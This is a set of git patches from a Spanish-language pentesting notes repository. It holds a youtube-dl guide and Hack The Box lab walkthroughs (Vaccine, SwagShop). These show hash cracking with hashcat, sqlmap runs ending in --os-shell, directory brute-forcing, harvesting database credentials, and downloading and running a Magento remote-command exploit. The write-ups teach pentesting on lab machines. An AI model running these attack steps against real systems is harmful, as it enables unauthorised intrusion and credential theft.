[PATCH 0189/1701] Create Youtube-dl.md --- Linux/Programas_para_Linux/Youtube-dl.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 Linux/Programas_para_Linux/Youtube-dl.md diff --git a/Linux/Programas_para_Linux/Youtube-dl.md b/Linux/Programas_para_Linux/Youtube-dl.md new file mode 100644 index 00000000000..e80f44a1928 --- /dev/null +++ b/Linux/Programas_para_Linux/Youtube-dl.md @@ -0,0 +1,21 @@ +# Descargar contenido de YouTube desde la Terminal + +Para poder Descargar tanto los videos como el audio directamente desde YouTube a la Terminal, utilizaremos la herramienta `youtube-dl`. Para poder +usarla primero tendremos que descargarla. En mi caso utilizo ParrotOS, por tanto, estos comandos solo valdrán para sistemas operativos basados en +Debian. + +# Instalación: + + sudo apt-get install youtube-dl + +# Ejecución: +Para descargar los archivos copiamos la URL de los videos que queramos de YouTube y ejecutamos los siguientes comandos. Los archivos se descargarán en +el directorio en el que nos encontremos. + +### Descargar Video: + + youtube-dl 'URL del Video' + +### Descargar solo Audio: + + youtube-dl -x --audio-format mp3 'URL del Video' From a559f9180ab118654838359a620c7efb73ea2e6a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:40:33 +0200 Subject: [PATCH 0190/1701] Update Youtube-dl.md --- Linux/Programas_para_Linux/Youtube-dl.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/Linux/Programas_para_Linux/Youtube-dl.md b/Linux/Programas_para_Linux/Youtube-dl.md index e80f44a1928..3a46a598062 100644 --- a/Linux/Programas_para_Linux/Youtube-dl.md +++ b/Linux/Programas_para_Linux/Youtube-dl.md @@ -8,6 +8,8 @@ Debian. sudo apt-get install youtube-dl +![Captura de pantalla -2022-05-02 09-26-55](https://user-images.githubusercontent.com/103068924/166200218-ec2457be-ca78-4b34-8d0e-2f821a4be467.png) + # Ejecución: Para descargar los archivos copiamos la URL de los videos que queramos de YouTube y ejecutamos los siguientes comandos. Los archivos se descargarán en el directorio en el que nos encontremos. @@ -16,6 +18,20 @@ el directorio en el que nos encontremos. youtube-dl 'URL del Video' +![Captura de pantalla -2022-05-02 09-32-29](https://user-images.githubusercontent.com/103068924/166200252-d1f5d77c-6ca0-466a-87cd-d25d007bc227.png) + +![Captura de pantalla -2022-05-02 09-30-17](https://user-images.githubusercontent.com/103068924/166200269-4a78207d-9805-4ecd-ac4c-0b5484065fb8.png) + ### Descargar solo Audio: youtube-dl -x --audio-format mp3 'URL del Video' + +`-x` : Convierte los archivos en archivos solo de audio. + +`--audio-format` : Para poder especificar el formato de audio en el que descargaremos el archivo. + +`mp3` : Formato en el que se descargará el archivo. + +![Captura de pantalla -2022-05-02 09-31-43](https://user-images.githubusercontent.com/103068924/166200319-033b31d2-5449-424c-8d5f-48825f2a7ab6.png) + +![Captura de pantalla -2022-05-02 09-31-26](https://user-images.githubusercontent.com/103068924/166200328-7fde4817-aa25-4184-ab00-4fbc6caa8af0.png) From f6ff9ce84b0c1991ac82f50968a8b4fba3f41522 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:42:42 +0200 Subject: [PATCH 0191/1701] Update Youtube-dl.md --- Linux/Programas_para_Linux/Youtube-dl.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Linux/Programas_para_Linux/Youtube-dl.md b/Linux/Programas_para_Linux/Youtube-dl.md index 3a46a598062..72b850910c4 100644 --- a/Linux/Programas_para_Linux/Youtube-dl.md +++ b/Linux/Programas_para_Linux/Youtube-dl.md @@ -35,3 +35,5 @@ el directorio en el que nos encontremos. ![Captura de pantalla -2022-05-02 09-31-43](https://user-images.githubusercontent.com/103068924/166200319-033b31d2-5449-424c-8d5f-48825f2a7ab6.png) ![Captura de pantalla -2022-05-02 09-31-26](https://user-images.githubusercontent.com/103068924/166200328-7fde4817-aa25-4184-ab00-4fbc6caa8af0.png) + +Mediante Youtube-dl podemos descargar archivos de audio en los formatos: `acc`, `vorbis`, `mp3`, `m4a`, `opus` y `wav`. From dffb8b4b34eb1becca7efd4fa538f2c63e83c93a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:49:06 +0200 Subject: [PATCH 0192/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 1b32a5a88c2..1b74c30d3ec 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -76,7 +76,7 @@ Aquí podemos ver que tenemos un servicio ssh activo, usando un sistema Ubuntu. - Puerto 80/tcp: -El puerto 80 tiene un servicio http activo, el cual, si nos dirigimos a firefox, podemos ver que nos reporta +El puerto 80 tiene un servicio http activo, el cual, si nos dirigimos a firefox, podemos ver que nos redirige hasta una página de registro: ![Captura de pantalla -2022-04-26 08-50-57](https://user-images.githubusercontent.com/103068924/165239253-c94d3b6a-b2eb-40d3-b146-a856f5a25a7c.png) From 13def9fa3b893e459059d8d586d488a59bf52c2f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:52:21 +0200 Subject: [PATCH 0193/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 1b74c30d3ec..ec5dfe51235 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -99,14 +99,14 @@ Ahora, mediante un `ls` o un `dir`, vamos a tratar de ver que archivos encontram ![Captura de pantalla -2022-04-26 09-08-17](https://user-images.githubusercontent.com/103068924/165242129-6e01a7d9-8a34-4830-8d2d-fc048d9cb36b.png) -En mi caso no me permite ejecutar ninguno de los dos comandos. Pero como podemos ver nos reporta que consideremos -utilizar PASV. Para ello, debemos activar el modo pasivo: +En mi caso no me permite ejecutar ninguno de los dos comandos. Pero como podemos ver, nos reporta que consideremos +utilizar PASV. Para ello, debemos activar el modo `passive`: passive ![Captura de pantalla -2022-04-26 09-32-35](https://user-images.githubusercontent.com/103068924/165246354-7861cf17-7af4-46c5-aebf-27b9f840e97f.png) -Tras activar el modo activo ya podremos utilizar el comando `ls`: +Tras activar el modo `passive` ya podremos utilizar el comando `ls`: ![Captura de pantalla -2022-04-26 09-33-33](https://user-images.githubusercontent.com/103068924/165246513-1911dca6-689c-44c5-8276-04b01aab9b4d.png) From f382e6bec0e061ce197a9bfe40b91d09ce0e970f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:55:27 +0200 Subject: [PATCH 0194/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index ec5dfe51235..365f60484f1 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -125,20 +125,20 @@ Tener en cuenta que la shell está es muy inestable, en caso de error o de repor con el comando `exit` y volver a iniciar la shell siguiendo todos los pasos de manera continua, ya que a los pocos minutos, se desconecta. -Una vez descargado el archivo.zip, cerramos la shell ftp y nos derigimos al directorio donde hemos descargado el +Una vez descargado el archivo.zip, cerramos la shell ftp y nos dirigimos al directorio donde hemos descargado el arhcivo `backup.zip`. ![Captura de pantalla -2022-04-26 09-44-48](https://user-images.githubusercontent.com/103068924/165248630-8bfff5ae-d750-441f-bedd-064368a699b0.png) Como podeís ver, tenemos los dos archivos previamente creados con nmap (allPorts y target) y nuestro archivo .zip. -Vamos a crear un directorio mediante 'mkdir' llamado `Backup`y vamos a introducir el archivo .zip para luego tratar +Vamos a crear un directorio mediante `mkdir` llamado `Backup` y vamos a introducir el archivo .zip para luego tratar de descomprimirlo. mkdir Backup mv backup.zip ./Backup/ -Una vez dentro del nuevo directorio, aplicaremos el comando `nzip`para tratar de descomprimirlo: +Una vez dentro del nuevo directorio, aplicaremos el comando `unzip` para tratar de descomprimirlo: unzip backup.zip From f0aa112964a9a724a8a9159571029cc208cb6fd4 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 2 May 2022 09:57:44 +0200 Subject: [PATCH 0195/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 365f60484f1..0d79961c6ac 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -151,9 +151,7 @@ podemos ver como nos reporta que dentro del .zip contiene dos archivos (index.ph ![Captura de pantalla -2022-04-26 09-57-17](https://user-images.githubusercontent.com/103068924/165250925-0f1270d2-0200-426e-9f64-8c475f88bfde.png) Como desconocemos la contraseña, vamos a utilizar la herramienta John the Ripper para tratar de descifrarla. En -caso de no tener la herramienta instalada o queráis leer más sobre ella podréis encontrarlo en el siguiente enlace: - -[John the Ripper](../Herramientas_y_Scripts/john_the_ripper.html) +caso de no tener la herramienta instalada o queráis leer más sobre ella podréis encontrarlo en el siguiente enlace: [John the Ripper](../Herramientas_y_Scripts/john_the_ripper.html) ### John the Ripper: From ecb14f10bb5ef1b35f8855f4dd416846709e2e88 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 4 May 2022 09:34:11 +0200 Subject: [PATCH 0196/1701] Create FFUF.md --- Herramientas_y_Scripts/FFUF.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 Herramientas_y_Scripts/FFUF.md diff --git a/Herramientas_y_Scripts/FFUF.md b/Herramientas_y_Scripts/FFUF.md new file mode 100644 index 00000000000..ea760e35254 --- /dev/null +++ b/Herramientas_y_Scripts/FFUF.md @@ -0,0 +1,3 @@ +# FUFF + +FFUF es un rápido fuzzer web escrito en Go. Es un método profesional de línea de comandos para el fuzzing web en un servidor web. From b8169a7302c3f188f0370426a4ee8948e6a78185 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 4 May 2022 09:39:27 +0200 Subject: [PATCH 0197/1701] Create Maquinas-HTB.md --- Maquinas-HTB/Maquinas-HTB.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 Maquinas-HTB/Maquinas-HTB.md diff --git a/Maquinas-HTB/Maquinas-HTB.md b/Maquinas-HTB/Maquinas-HTB.md new file mode 100644 index 00000000000..f56e1cea77e --- /dev/null +++ b/Maquinas-HTB/Maquinas-HTB.md @@ -0,0 +1,3 @@ +# Maquinas de Hack The Box: + +[Forge](./Maquinas-HTB/Maquinas-HTB.md) From 07698ed773ff1d1bdcf4d73aaff64589c2cc713d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 4 May 2022 09:41:37 +0200 Subject: [PATCH 0198/1701] Create Forge.md --- Maquinas-HTB/Forge.md | 1 + 1 file changed, 1 insertion(+) create mode 100644 Maquinas-HTB/Forge.md diff --git a/Maquinas-HTB/Forge.md b/Maquinas-HTB/Forge.md new file mode 100644 index 00000000000..13aab73aadf --- /dev/null +++ b/Maquinas-HTB/Forge.md @@ -0,0 +1 @@ +# Maquina Forge From 415e6bcddf1261b7689209cf0a3533b8e69a7eec Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 4 May 2022 10:45:59 +0200 Subject: [PATCH 0199/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index 0d79961c6ac..e8410b114a7 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -305,6 +305,8 @@ Para crear el archivo: echo 'Número de Hash' > hash2 + ![Captura de pantalla -2022-04-27 11-54-53](https://user-images.githubusercontent.com/103068924/166647923-9ddc2c5c-801e-4f00-8a91-f9d3653af889.png) + En caso de no tener instalado HashCat: sudo apt install hashcat @@ -325,6 +327,14 @@ hash2 : Nombre del archivo que contiene el hash que queremos descifrar. rockyou.txt : Es un diccionario con más de 14 millones de contraseñas y hashes. +![Captura de pantalla -2022-04-27 11-56-27](https://user-images.githubusercontent.com/103068924/166648025-d3c9c25c-1d4c-4f50-87a0-cd473f6f27fa.png) + +Nos indica que ha encontradoalgo y que utilizemos `--show` para poder visualizarlo. + + hashcat --show hash2 + +![Captura de pantalla -2022-04-27 11-56-58](https://user-images.githubusercontent.com/103068924/166648230-7ed5f7d0-df2e-49d6-b250-54287562fb0d.png) + Como podemos ver, Hashcat descifró la contraseña: qwerty789 @@ -333,6 +343,8 @@ Como podemos ver, Hashcat descifró la contraseña: qwerty789 Ya conocemos un usuario `admin` y una contraseña `qwerty789`, con esta información vamos a volver a la página web donde nos aparecia una pagina de inicio de sesión y vamos a tratar de acceder utilizando estos datos. +![Captura de pantalla -2022-04-27 12-03-29](https://user-images.githubusercontent.com/103068924/166648293-0cbd813b-ec67-4c0e-a939-fb65265e032a.png) + Genial, podemos ver como tenemos acceso como el usuaio `admin`. Tras revisar el contenido de la página, vemos como el tablero no reporta nada especial, sin embargo, nos muestra un catálogo que @@ -340,8 +352,22 @@ podría estar conectado con la base de datos. Vamos a tratar de realizar algunas consultas y ver que ocurre: +![Captura de pantalla -2022-04-27 12-04-13](https://user-images.githubusercontent.com/103068924/166648517-ad1acbad-2a4f-4a97-a624-079023d13e16.png) + Al verificar la URL, podemos ver que hay una variable `$search` que es responsable de buscar en el catálogo. +![Captura de pantalla -2022-04-27 12-06-08](https://user-images.githubusercontent.com/103068924/166648647-2caa34fd-e4ca-4bf4-99f2-78ee204e0946.png) + +Intentemos forzar un error en la URL a ver que nos reporta, para ello simplemente quitaremos una comilla de la URL: + +![Captura de pantalla -2022-04-27 12-07-04](https://user-images.githubusercontent.com/103068924/166649000-b923f2a7-e0a3-49db-8a00-9b6905de9ade.png) + +![Captura de pantalla -2022-04-27 12-06-41](https://user-images.githubusercontent.com/103068924/166648842-a33e5172-8e19-4bcb-b785-ef2ca634bda9.png) + +Vemos como al tener una sintaxis erronea, nos repotar el siguiente mensaje: + +![Captura de pantalla -2022-04-27 12-06-52](https://user-images.githubusercontent.com/103068924/166648944-796ab23a-74a1-4bd8-88b4-9e4e9854a331.png) + Tras ver esto, vamos a probar si es vulnerable a una inyeccion SQL, se puede hacer manualmente, pero para facilitarnos el trabajo usaremos una herramienta llamada `Sqlmap`. @@ -350,7 +376,7 @@ usaremos una herramienta llamada `Sqlmap`. SQLmap es una herramienta de código abierto utilizada en pruebas de penetración para detectar y explotar fallas de inyección SQL. SQLmap automatiza el proceso de detección y explotación de inyección SQL. Los ataques de inyección de SQL pueden tomar el control de las bases de datos que utilizan SQL. -Viene preinstalado con Parrot OS y Kali Linux, sin embargo, puede instalarlo a través del repositorio si no lo tiene: +Viene preinstalado con Parrot OS y Kali Linux, sin embargo, puede instalarlo a través del repositorio o con el siguiente comando: sudo apt install sqlmap From f21157e3a52132c843b5b36daca34d7bc1635e2e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 4 May 2022 21:31:38 +0200 Subject: [PATCH 0200/1701] Update HTB-Vaccine.md --- Starting Point/HTB-Vaccine.md | 69 ++++++++++++++++++++++++++++++++++- 1 file changed, 68 insertions(+), 1 deletion(-) diff --git a/Starting Point/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md index e8410b114a7..a4718e00f62 100644 --- a/Starting Point/HTB-Vaccine.md +++ b/Starting Point/HTB-Vaccine.md @@ -380,7 +380,74 @@ Viene preinstalado con Parrot OS y Kali Linux, sin embargo, puede instalarlo a t sudo apt install sqlmap +Una vez tenemos SQLmap instalado vamos a ejecutarlo. Para ello en primer lugar unicamente especificaremos la `url`. + + sqlmap --url "10.129.25.145/dashboard.php?search=" +Como podeís ver no nos muestra nada interesante utilizando solo la URL. +Tambien nos muestra que no tenemos unas cookies de sesión definidas. Como +ya estamos registrados como el usuario `admin` podemos utilizar sus credenciales de las cookies de inicio de sesión. + +Para ello volvemos a firefox y mediante `cntrl + shift + c` o clic derecho e Inspeccionar se nos abrirá una pestaña. Dentro de la pestaña vamos hasta +`Almacenamiento` y luego `Cookies`. Vemos como nos muestra un `Nombre` y un `Valor`, vamos a copiarlos y utilizarlos con `SQLmap`. + +![Captura de pantalla -2022-05-04 11-01-24](https://user-images.githubusercontent.com/103068924/166653464-da9d7d86-d1e0-49b9-9c6b-7f9bd0375857.png) + +![Captura de pantalla -2022-05-04 11-01-47](https://user-images.githubusercontent.com/103068924/166653486-611f2dba-b3b0-4793-8ed0-83f67127dbd6.png) + +Ahora especificaremos los datos de inicio de sesión de las cookies en el comando anterior, esto lo haremos mediante la variable `--cookie`, tambien vamos a especificar mediante `--batch` que automatice todo el proceso sin necesidad de que nos pregunte que tareas realizar. + +Y lo más importante, lo que queremos buscar mediante el escaneo, en nuestro caso vamos a tratar de enumerar los archivos de la base detos mediante +la variable `--current-db`. + + sqlmap --current-db --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch + +![Captura de pantalla -2022-05-04 11-39-31](https://user-images.githubusercontent.com/103068924/166658210-dd977256-fa3c-47dc-b9f9-def0335b4c61.png) + +![Captura de pantalla -2022-05-04 11-39-53](https://user-images.githubusercontent.com/103068924/166658233-62922c6f-cbd6-4e33-8a51-c372b2a40605.png) + +Podemos ver como nos reporta que el nombre de la base de datos es `public`. + +Conociendo el nombre de la base de datos, mediante sqlmap vamos a tratar de numerar las tablas de la sbase de datos `public`: + + sqlmap -D public --tables --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch + +`-D` : Indica que vamos a especificar una base de datos. En nuestro caso `public`. + +`--tables` : Está variable nos reportará las tablas de las base de datos que hemos especificado. + +![Captura de pantalla -2022-05-04 11-47-48](https://user-images.githubusercontent.com/103068924/166659388-bba12e75-baea-4740-b286-3e15b6579774.png) + +![Captura de pantalla -2022-05-04 11-48-13](https://user-images.githubusercontent.com/103068924/166659406-e96e459a-b484-47a3-a015-c66443682701.png) + +Sqlmap nos muestra que dentro de la base de datos `public` existe una tabla llamada `cars`. + +Nuevamente realizaremos otro escaneo especificando la tabla cars: + + sudo sqlmap -D public -T cars --columns --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" --batch - +`-T` : Indica que vamos a especificar las tablas. En nuestro caso `cars`. + +`--columns` : Nos reporta las columnas de la tabla especificada. + +![Captura de pantalla -2022-05-04 11-54-26](https://user-images.githubusercontent.com/103068924/166660428-a0c9b440-a411-448b-a888-4d2b8603cdaa.png) + +![Captura de pantalla -2022-05-04 11-48-13](https://user-images.githubusercontent.com/103068924/166660453-bd414d72-bd3f-4d5d-8dcc-d84ece33445c.png) + +Genial, vemos como nos a reportado la siguiente tabla: + +![Captura de pantalla -2022-05-04 11-54-40](https://user-images.githubusercontent.com/103068924/166660515-80da7ede-8a33-4ff3-8eb1-07fcbb78d547.png) + +Está tabla tampoco parece reportar nada innteresante así que trataremos de crear mediante Sqlmap una Shell interactiva. + +Para ello utilizaremos la siguiente variable de Sqlmap: + + sudo sqlmap --os-shell --url "http://10.129.25.145/dashboard.php?search=Elixir" --cookie="PHPSESSID=dcep13le13prvgcl8ub8cqgjva" + +![Captura de pantalla -2022-05-04 12-05-16](https://user-images.githubusercontent.com/103068924/166662665-b4ff7717-f447-4007-a740-c87eb6a209ee.png) + +![Captura de pantalla -2022-05-04 12-05-41](https://user-images.githubusercontent.com/103068924/166662689-5efdcacb-4081-4c3f-9dc2-92b004aab684.png) + +Ya tenemos nuestra shell activa, vamos a investigar un poco para ver que +archivos contiene. Primero mediante `ls` vamos a ver que tenemos en el directorio en el que nos encontramos. From bdae3fec50a7df64ea6f57bbab0d464dfb600aa1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 00:37:21 +0200 Subject: [PATCH 0201/1701] Create HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 60 ++++++++++++++++++++++++++++++++++++ 1 file changed, 60 insertions(+) create mode 100644 Maquinas-HTB/HTB-SwagShop.md diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md new file mode 100644 index 00000000000..5031be15704 --- /dev/null +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -0,0 +1,60 @@ +![host-1](https://user-images.githubusercontent.com/103068924/166836563-b92de273-b0a8-44e3-9796-e0b7aa071b96.png) + + +# SwagShop + +En primer luegar nos creamos un directorio con el nombre de la máquina desde el que trabajaremos: + + sudo mkdir SwagShop + +Ahora mediante la función `mkt` que tengo previamente definida en la `zhshrc` crearemos nuestros directorio de trabajo: + + sudo mkt + +Realizamos un `ping` y vemos como nos reporta un ttl=63, por tanto ya sabemos que estamos frente una máquina Linux. + + ping -c 1 10.10.10.140 + +![Captura de pantalla -2022-05-04 21-37-17](https://user-images.githubusercontent.com/103068924/166835523-17862ac7-0b11-48f6-8675-44e7ebbcee95.png) + + +Ahora mediante `nmap` realizaremos un escaneo de puertos: + + nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.140 -oG allPorts2 + +![Captura de pantalla -2022-05-04 21-47-39](https://user-images.githubusercontent.com/103068924/166835539-0b60bbd9-0d97-401e-bf58-95cf18c3b16b.png) + +Vemos como nos reporta el puerto 80 y el puerto 20. + +![Captura de pantalla -2022-05-04 21-48-00](https://user-images.githubusercontent.com/103068924/166835551-74619704-5005-4bfa-8a8e-ada9c5b248f1.png) + +Intentamos ver el dominio `http://10.10.10.140/` y vemos como nos redirige hasta `swagshop.htb` pero no nos permite ver la página. Para ello vamos +a registrar el dominio en nuestra carpeta `/etc/hosts` e introducimos la Ip de la máquina víctima y el host `swagshop.htb`: + +![Captura de pantalla -2022-05-05 00-29-52](https://user-images.githubusercontent.com/103068924/166835861-a5bb2cab-8754-4ba7-a402-d8e06a4da5fe.png) + +![Captura de pantalla -2022-05-05 00-31-02](https://user-images.githubusercontent.com/103068924/166835950-11b74920-c3be-4e09-9479-2852ca6de8f0.png) + +![Captura de pantalla -2022-05-04 21-51-26](https://user-images.githubusercontent.com/103068924/166836019-63d932b1-f316-4008-8556-2e534a149e80.png) + + sudo nano /etc/hosts + +![Captura de pantalla -2022-05-05 00-33-07](https://user-images.githubusercontent.com/103068924/166836367-a0023b47-bba6-49ae-90b6-dc134d54563a.png) + + ![Captura de pantalla -2022-05-05 00-34-01](https://user-images.githubusercontent.com/103068924/166836400-df5e6f85-f7ff-4a41-8a44-1ef99793fa23.png) + +Ahora volvemos a nuestro buscador y vemos como ya nos muestra la página. + +![Captura de pantalla -2022-05-05 00-34-40](https://user-images.githubusercontent.com/103068924/166836426-d24198d0-c201-4f08-8389-160da3d98691.png) + +Pasamos a revisar la página. + + gobuster dir -u http://10.10.10.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + + + sudo searchsploit -m xml/webapps/37977.py + + + + + From e07529602a767b9be0791104f96e59c560d54033 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 00:38:13 +0200 Subject: [PATCH 0202/1701] Rename Forge.md to HTB-Forge.md --- Maquinas-HTB/{Forge.md => HTB-Forge.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Maquinas-HTB/{Forge.md => HTB-Forge.md} (100%) diff --git a/Maquinas-HTB/Forge.md b/Maquinas-HTB/HTB-Forge.md similarity index 100% rename from Maquinas-HTB/Forge.md rename to Maquinas-HTB/HTB-Forge.md From dc3713c2120eef31d04dde5a8a23e1d705d92e4c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 5 May 2022 03:37:46 +0200 Subject: [PATCH 0203/1701] Update HTB-SwagShop.md --- Maquinas-HTB/HTB-SwagShop.md | 169 ++++++++++++++++++++++++++++++++++- 1 file changed, 166 insertions(+), 3 deletions(-) diff --git a/Maquinas-HTB/HTB-SwagShop.md b/Maquinas-HTB/HTB-SwagShop.md index 5031be15704..b3688cc1dc7 100644 --- a/Maquinas-HTB/HTB-SwagShop.md +++ b/Maquinas-HTB/HTB-SwagShop.md @@ -9,7 +9,9 @@ En primer luegar nos creamos un directorio con el nombre de la máquina desde el Ahora mediante la función `mkt` que tengo previamente definida en la `zhshrc` crearemos nuestros directorio de trabajo: - sudo mkt + sudo mkt + +### PING Realizamos un `ping` y vemos como nos reporta un ttl=63, por tanto ya sabemos que estamos frente una máquina Linux. @@ -17,6 +19,21 @@ Realizamos un `ping` y vemos como nos reporta un ttl=63, por tanto ya sabemos qu ![Captura de pantalla -2022-05-04 21-37-17](https://user-images.githubusercontent.com/103068924/166835523-17862ac7-0b11-48f6-8675-44e7ebbcee95.png) +Ahora vamos a ver mediante `whatweb` que más podemos ver: + + whatweb 10.10.10.140 + +![Captura de pantalla -2022-05-05 02-39-19](https://user-images.githubusercontent.com/103068924/166848663-edca5cac-63bb-4236-b4b4-cf68c88f8ebf.png) + +Vemos que es un sistema Linux Apache 2.4.18 en el cual corre un servicio `http` el cual esta basado en `Magento`. + +### ¿Qué es Magento? + +Es una plataforma de comercio en línea, de código abierto (open source) y escrita en PHP, con la que puedes realizar todo tipo de proyectos relacionados a la creación de páginas web de venta en Internet. + +Es una herramienta para el diseño y desarrollo de tu tienda online, permitiéndote una gestión avanzada de distintas áreas, incluyendo el marketing y el posicionamiento web. + +### NMAP Ahora mediante `nmap` realizaremos un escaneo de puertos: @@ -47,14 +64,160 @@ Ahora volvemos a nuestro buscador y vemos como ya nos muestra la página. ![Captura de pantalla -2022-05-05 00-34-40](https://user-images.githubusercontent.com/103068924/166836426-d24198d0-c201-4f08-8389-160da3d98691.png) -Pasamos a revisar la página. +Pasamos a revisar la página. Como podemos ver la página es bastante funcional,se trata de una página de venta de productos de HTB, contiene varios enlaces y podemos ver como nos permite comprar y tratar de registranos + +### Gobuster + +En primer lugar, usando la herramienta `gobuster` vamos a tratar de realizar un escaneo genera en busca de alguna ruta que no se nos muestre en la página. + +En caso de no tener la herramienta la instalamos: + + sudo apt install gobuster + +Para ello especificaremos el dominio de la víctima y el diccionario de rutas que vamos a utilizar. En este caso vamos a utilizar un diccionario llamado `directory-list-2.3-medium.txt` en cual es parte del repositorio `seclists` + +Para descargar el repositorio: + + sudo apt install seclists + +Ya tenemos `gobuster` y el repositorio `seclists`, ahora procederemos con el escaneo: gobuster dir -u http://10.10.10.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt +`dir` : Se utiliza para especificar la opción de directorios. + +`-u` : Se utiliza para especificar una `url`. + +`-w` : Especifica el diccionario que vamos a utilizar. + +![Captura de pantalla -2022-05-05 00-52-50](https://user-images.githubusercontent.com/103068924/166838244-3192932e-4622-4025-b308-a1ed407dab98.png) + +Podemos ver que nos reporta una serie de directorios. Tras revisarlos, veo que el directorio `app` contiene otros directorios. + +![Captura de pantalla -2022-05-05 00-56-51](https://user-images.githubusercontent.com/103068924/166838568-e8ea2e18-29aa-4d63-a2fd-4c980c81cf09.png) + +Esto podemos confirmarlo +volviendo a pasar el `gobuster` e incluyendo el directio `app` en la url. + +![Captura de pantalla -2022-05-05 01-01-17](https://user-images.githubusercontent.com/103068924/166838976-29735406-7024-4fde-a886-ffdddc691719.png) + +Vamos a tratar de acceder al directorio `app` desde el navegador. + +![Captura de pantalla -2022-05-04 22-45-46](https://user-images.githubusercontent.com/103068924/166839104-d366e1de-3b61-4e96-adc9-ecfbc824cb1e.png) + +Tras ir revisando los directirios, encontramos que dentro de `etc/` en el +archivo `local.xml` econtramos una credenciales. + +![Captura de pantalla -2022-05-05 01-04-03](https://user-images.githubusercontent.com/103068924/166839564-e6fa7c34-2b81-4424-9f65-56f3e87c174b.png) + +![Captura de pantalla -2022-05-05 01-04-49](https://user-images.githubusercontent.com/103068924/166839569-3b55ab18-e7d0-472f-be35-799a047bfd6d.png) + +Vemos como nos reporta un username como `root` y una password: + +![Captura de pantalla -2022-05-05 01-04-59](https://user-images.githubusercontent.com/103068924/166839580-c73b2080-e56c-4ecb-936f-db53283bd1a2.png) + +Guardaremos esta información en caso de que nos sea util más tarde. Ahora vamos a tratar de generar una reverse shell. Buscando reportes de vulnerabilidades sobre Magento, encuentro en github la siguiente herramienta +escrita en python3, la cual nos permite crear una reverse shell en paginas creadas con Magento. Para ello la herramienta nos registra automaticamente con el nombre y contraseña que le proporcionemos. Por defecto nos define +`str` tanto como usuario como contraseña. + +Para descargar la herramienta en nuesto dierectorio actual: + + wget https://raw.githubusercontent.com/epi052/htb-scripts-for-retired-boxes/master/swagshop/magento-oneshot.py + +Ahora tenemos que darle permiso de ejecución: + + sudo chmod +x magento-oneshot.py + +Ya tenemos nuestra herramienta preparada, ahora solo debemos especificar el host de la víctima `http://swagshop.htb/index.php` y el comando que queramos ejecutar: + + python3 magento-oneshot.py --command whoami http://swagshop.htb/index.php + 